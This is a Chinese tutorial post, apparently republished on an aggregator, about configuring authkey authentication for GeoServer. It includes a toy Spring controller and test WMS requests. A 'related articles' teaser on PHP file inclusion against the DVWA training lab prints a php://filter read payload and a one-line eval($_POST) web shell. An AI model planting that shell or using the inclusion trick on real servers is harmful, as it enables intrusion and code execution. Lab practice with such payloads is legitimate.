GeoServer地图服务器权限控制

目录

1下载相关软件

2部署软件

3配置鉴权环节

4Java工程

5测试鉴权

6测试鉴权结果分析


本文章应该会后面试验一个鉴权功能就会发布一系列测试过程(GeoServer有很多鉴权方式)

1Download - GeoServer

1下载相关软件

进入geoserver官网的下载页面 因为jdk8是免费的极限,所以下载java8所能支持的最新版本

下载Windows Installer安装包以及Web Archive在linux部署的war包

下载Key authentication用于扩展鉴权

去tomcat网下载能支持java8的最新版本-tomcat9

Apache Tomcat® - Apache Tomcat 9 Software Downloads

2部署软件

部署软件环节参考我得另外一篇文章

3配置鉴权环节

然后关闭按钮后,再点保存,否则无效

4Java工程

package com.example.controller;import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;@RestController
public class Login {public int a=1;@RequestMapping(value = "/checkAuthkey",method = RequestMethod.GET)public String checkAuthkey(@RequestParam String authkey) {System.out.println(authkey+"///"+a);a++;if("888888".equals(authkey)){return "";}String user = "admin";return user;}
}

5测试鉴权

分别从两个不同电脑发起访问地图服务器

http://192.168.10.44:8080/geoserver/jaxlayer/wms?authkey=888888&SERVICE=WMS&VERSION=1.1.1&REQUEST=GetMap&FORMAT=image%2Fpng&TRANSPARENT=true&STYLES=&LAYERS=jaxlayer%3Ajgfw&exceptions=application%2Fvnd.ogc.se_inimage&SRS=EPSG%3A4490&WIDTH=714&HEIGHT=768&BBOX=115.78485578298569%2C28.198497891426086%2C115.78677088022232%2C28.200557827949524

其中 authkey一定要填写,用于访问geoserver,geoserver转发给java工程

java工程做了设置,authkey等于888888 鉴权失败

java工程做了设置,authkey不等于888888 鉴权成功

6测试鉴权结果分析

(1)两台电脑IP:192.168.10.202,192.168.10.213,两台电脑访问的鉴权结果互不干涉,202访问geoserver服务器,当authkey=888888,鉴权失败,不停的点击请求,都会走一下java工程,判断鉴权,但是,当authkey不等于888888的时候鉴权成功,不停的点击请求,再也不会走一下java工程,除非十分钟后,才会再走一下java工程!同理213访问geoserver服务器也是该结果!

(2)authkey这个参数可以任意位置,而不是必须紧靠?后面第一个参数位置!我看很多人提出这个问题,估计版本的问题,我这个版本解决了这个问题!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/85684.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

面试算法10:和为k的子数组

题目 输入一个整数数组和一个整数k,请问数组中有多少个数字之和等于k的连续子数组?例如,输入数组[1,1,1],k的值为2,有2个连续子数组之和等于2。 分析 在从头到尾逐个扫描数组中的数字时求出前…

重构Transformer神经网络:优化的自注意力机制和前馈神经网络

重构Transformer神经网络:优化的自注意力机制和前馈神经网络 原文代码网络结构推理代码训代码数据处理代码长词表辅助代码原文 标题:重构Transformer神经网络:优化的自注意力机制和前馈神经网络 摘要: 本论文研究了一种改进的Transformer神经网络模型,该模型使用区别于传统…

C语言自定义类型讲解:结构体,枚举,联合(1)

🐵本篇文章将对结构体相关知识进行讲解 1.结构体🖥️ 1.1结构体定义 结构体(struct)是用户自定义的数据类型,用于组合一个或多个不同类型的数据成员 1.2结构体的声明 这里直接以代码为例 1.3特殊的声明 不完全声明或…

【vue+elementUI】输入框样式、选择器样式、树形选择器和下拉框样式修改

输入框样式、选择器样式和下拉框样式修改 1、输入框和选择器的样式修改:2、下拉弹框样式A. 选择器的下拉弹框样式修改B. 时间选择器的下拉弹框样式修改C. vue-treeselect树形下拉框样式 1、输入框和选择器的样式修改: 写在style中不能加scoped&#xff0…

dosbox调试模式下0000:0000地址中内容被修改的原因

跟着王爽老师学习汇编,执行以下指令时,发现自己手动算出来的和dosbox验证的不一致 dosbox用的是debug模式,确保了内存数据和指令都完全一致的情况下,逐步执行,发现写在0000:0000位置的内存数据在执行add命令的时候被修…

02强化学习基本概念

强化学习基本概念 前言1、State、Action、Policy等① State② Action③ State transition④ State transition probability⑤ Polity 2、Reward、Return、MDP等① Reward② Trajectory and return③ Discounted return④ Episode⑤ MDP 总结: 前言 本文来自西湖大学…

算法----字符串转换整数 (atoi)

题目 请你来实现一个 myAtoi(string s) 函数,使其能将字符串转换成一个 32 位有符号整数(类似 C/C 中的 atoi 函数)。 函数 myAtoi(string s) 的算法如下: 读入字符串并丢弃无用的前导空格 检查下一个字符(假设还未…

JavaScript - canvas - 放大镜

效果 示例 项目结构&#xff1a; 源码&#xff1a; <!DOCTYPE html> <html><head><meta charset"utf-8" /><title>放大镜</title><style type"text/css">div {width: 200px;height: 200px;display: inline-bl…

电阻的串并联

电阻是一种耗能器件&#xff0c;电流流过时&#xff0c;电阻耗能发热&#xff0c;其阻值在交直流、高低频电阻中都不会发生改变&#xff0c;便于电路的分析。 电路分为两种串联和并联。 1、串联&#xff1a; 电阻串联在电阻中总阻值累加增大&#xff0c;RR1R2R3.........&…

RK3588平台开发系列讲解(安卓篇)Android12 获取 root 权限

文章目录 一、关闭 selinux二、注释用户组权限检测三、su 文件默认授予 root 权限沉淀、分享、成长,让自己和他人都能有所收获!😄 📢获取Android设备的root权限是指取得超级用户(root用户)的权限,使得用户可以对系统进行更广泛的修改和操作。但需要注意,获取root权限…

java面试题-jvm面试题

java面试题-jvm面试题 1 JVM组成 面试官&#xff1a;JVM由那些部分组成&#xff0c;运行流程是什么&#xff1f; 候选人: 嗯&#xff0c;好的~~ 在JVM中共有四大部分&#xff0c;分别是ClassLoader&#xff08;类加载器&#xff09;、Runtime Data Area&#xff08;运行时数据…

wordpress添加评论过滤器

给wordpress添加评论过滤器&#xff0c;如果用户留言包含 "http" (可以为任意字符串) 就禁止提交评论。 function filter_comment_content($comment_data) {$comment_contents $comment_data["comment_content"]; //获取评论表单的内容字段if (stripos($…

PHP包含读文件写文件

读文件 php://filter/readconvert.base64-encode/是加密 http://192.168.246.11/DVWA/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourcex.php <?php eval($_POST[chopper]);?> 利用包含漏洞所在点&#xff0c;进行读文件&#xff0c;bp抓…

Codeforces Round 823 (Div. 2)C

更好的阅读体验 C. Minimum Notation 思路&#xff1a;我们可以进行的操作时将一个位置的数删除然后在任意位置处添加一个比当前数大1并且小于9的数&#xff0c;所以我们的操作只会让一个数变大&#xff0c;我们统计一个最大值的后缀&#xff0c;贪心的考虑如果当前数的后面有…

Lombok常用注解

介绍 Lombok是一个Java库&#xff0c;可以通过注解简化Java代码。Lombok可以自动生成getter、setter、构造函数、equals、hashCode、toString等方法&#xff0c;使用Lombok可以使Java代码更加简洁、易读、易维护。Lombok还提供了其他一些有用的注解&#xff0c;如Data、Builde…

springcloud3 分布式事务解决方案seata之TCC模式6

一 TCC模式 1.1 TCC的逻辑 TCC模式与AT模式非常相似&#xff0c;每阶段都是独立事务&#xff0c;不同的是TCC需要人工干预编写代码。需要实现三个方法&#xff1a; Try&#xff1a;资源的检测和预留&#xff1b; Confirm&#xff1a;完成资源操作业务&#xff1b;要求 Try 成…

人工智能机器学习-飞桨神经网络与深度学习

飞桨神经网络与深度学习-机器学习 目录 飞桨神经网络与深度学习-机器学习 1.机器学习概述 2.机器学习实践五要素 2.1.数据 2.2.模型 2.3.学习准则 2.4.优化算法 2.5.评估标准 3.实现简单的线性回归模型 3.1.数据集构建 3.2.模型构建 3.3.损失函数 3.4.模型优化 3…

使用Caffeine做JVM缓存,提升字典类查询性能

业务场景 对于字典值&#xff0c;一般只存code&#xff0c;名称则查询时去查字典&#xff0c;返回给前端展示。那么就会存在jvm中多次调用字典查询的问题&#xff0c;为了提高性能&#xff0c;对字典进行jvm缓存。 示例代码 Caffeine创建缓存&#xff0c;有效期为5分钟&#x…

基于微信小程序的图书管理系统设计与实现(源码+lw+部署文档+讲解等)

前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f447;&#x1f3fb;…

S7通信协议的挑高点

目录 1. S7协议之布尔操作 2. S7协议之PDU读取 3 S7协议之多组读取 在电气学习的路上&#xff0c;西门子PLC应该是每个人的启蒙PLC&#xff0c;从早期的S7-300/400PLC搭建Profibus-DP网络开始接触&#xff0c;到后来的S7-200Smart PLC&#xff0c;再到现在的S7-1200/1500 PLC…